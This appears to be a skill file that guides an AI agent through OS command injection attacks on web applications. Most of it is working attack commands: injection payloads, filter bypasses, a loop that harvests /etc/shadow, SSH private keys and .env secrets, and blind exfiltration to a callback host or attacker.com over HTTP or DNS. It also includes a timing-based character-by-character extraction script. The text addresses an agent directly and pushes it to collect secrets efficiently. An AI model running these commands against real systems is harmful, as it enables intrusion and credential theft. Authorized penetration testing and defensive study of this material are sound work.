exploit-command-injection

name	exploit-command-injection
description	OS Command Injection — exploiting applications that pass user input to OS commands without sanitization. Covers injection operators (;, |, ||, &&, $(), backticks, newline), blind detection (time-based, OOB callback), and bypass techniques (space, keyword, encoding).
metadata	{"subdomain":"web-exploitation","mitre_attack":"T1059","when_to_use":"command injection, os command, cmdi, rce command, shell injection, system command, exec, popen, subprocess, backtick injection, semicolon injection, pipe injection, ping command, os.system, shell=True, eval, passthru"}

OS Command Injection

Exploits applications that pass user input to OS commands without sanitization.

Detection

# Basic tests
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' -o cmdi_semicolon.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1|id' -o cmdi_pipe.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1$(id)' -o cmdi_subshell.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1`id`' -o cmdi_backtick.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1%0aid' -o cmdi_newline.txt

# Blind detection — time-based
curl -s 'https://<TARGET>/ping?host=127.0.0.1;sleep+5' --max-time 10 -w '\nTime: %{time_total}s\n'

# Blind detection — out-of-band (DNS/HTTP callback)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/cmdi'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+<CALLBACK>'

Injection Operators

Operator	Behavior	Example
;	Sequential execution	; id
|	Pipe output	| id
||	Execute if first fails	|| id
&&	Execute if first succeeds	&& id
`	Command substitution	`id`
$()	Command substitution	$(id)
%0a	Newline	%0aid
%0d%0a	CRLF	%0d%0aid

Bypass Techniques

# Space bypass
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat${IFS}/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;{cat,/etc/passwd}'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat%09/etc/passwd'  # tab

# Keyword bypass (if 'cat' is blocked)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;c\at+/etc/passwd'   # backslash
curl -s 'https://<TARGET>/ping?host=127.0.0.1;ca""t+/etc/passwd'  # empty quotes
curl -s 'https://<TARGET>/ping?host=127.0.0.1;tac+/etc/passwd'    # alternative command
curl -s 'https://<TARGET>/ping?host=127.0.0.1;head+/etc/passwd'   # alternative command

# Base64 encoded command
curl -s "https://<TARGET>/ping?host=127.0.0.1;\$(echo+aWQ=|base64+-d|bash)"

Credential/Secret Extraction After RCE Confirmed

Once you have confirmed RCE (e.g., id or hostname output returned), run this single bash call in the NEXT step to locate sensitive files — do NOT issue separate commands per candidate path:

# Single-call sensitive file location sweep
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa /home/*/.ssh/id_rsa \
          /var/www/html/.env /app/.env /app/config.py /app/settings.py \
          /opt/app/config.json /tmp/secret.txt /root/secret.txt; do
  result=$(curl -s "http://<TARGET>/vuln?cmd=cat+$f" 2>/dev/null | head -5)
  [ -n "$result" ] && echo "=== $f ===" && echo "$result"
done > /tmp/rce_harvest.txt
head -50 /tmp/rce_harvest.txt

# Broad credential/secret file search
curl -s "http://<TARGET>/vuln?cmd=find+/+-type+f+\(-name+'*.env'-o+-name+'config*'-o+-name+'secret*'-o+-name+'cred*'-o+-name+'token*'\)+2>/dev/null" \
  -o /tmp/find_secrets.txt
head -20 /tmp/find_secrets.txt

Replace /vuln?cmd= with the confirmed injection sink. After locating sensitive files, use the appropriate operator from the Injection Operators table to read their full contents.

Hard rule: Do NOT issue individual curl calls per candidate path — use the loop above. Separate calls waste bash budget and trigger compaction before extraction completes.

Blind Exfiltration

When command output is NOT reflected in the HTTP response, use one of these techniques to extract sensitive content:

# 1. Write to web-accessible path (if webroot is writable)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat+/.env+>+/var/www/html/out.txt'
curl -s 'https://<TARGET>/out.txt'  # retrieve output

# 2. OOB HTTP exfiltration via curl (base64 to handle special chars)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/$(cat+/.env|base64+-w0)'

# 3. OOB HTTP via wget
curl -s 'https://<TARGET>/ping?host=127.0.0.1;wget+-q+-O-+http://<CALLBACK>/$(cat+/.env|base64+-w0)'

# 4. DNS exfiltration (value prefix — DNS labels max 63 chars)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+$(cat+/.env|cut+-c1-50).attacker.com'

# 5. Time-based char-by-char oracle (no OOB needed — use for short secrets/tokens)
# Replace /.env with the target file path from Credential/Secret Extraction sweep
TARGET_FILE="/.env"
curl -s "https://<TARGET>/ping?host=127.0.0.1;if+[\"\$(cut+-c1+${TARGET_FILE})\"=+\"s\"];then+sleep+3;fi" \
  --max-time 10 -w '\nTime: %{time_total}s\n'

# Automate char extraction
for i in $(seq 1 70); do
  for c in {A..Z} {a..z} {0..9} - _ '=' '"' "'"; do
    t=$(curl -s -o /dev/null -w '%{time_total}' --max-time 6 \
      "https://<TARGET>/ping?host=127.0.0.1;if+[+\"\$(cut+-c${i}+${TARGET_FILE})\"+==+\"${c}\"+];then+sleep+3;fi")
    if (( $(echo "$t > 2.5" | bc -l) )); then printf "%s" "$c"; break; fi
  done
done
echo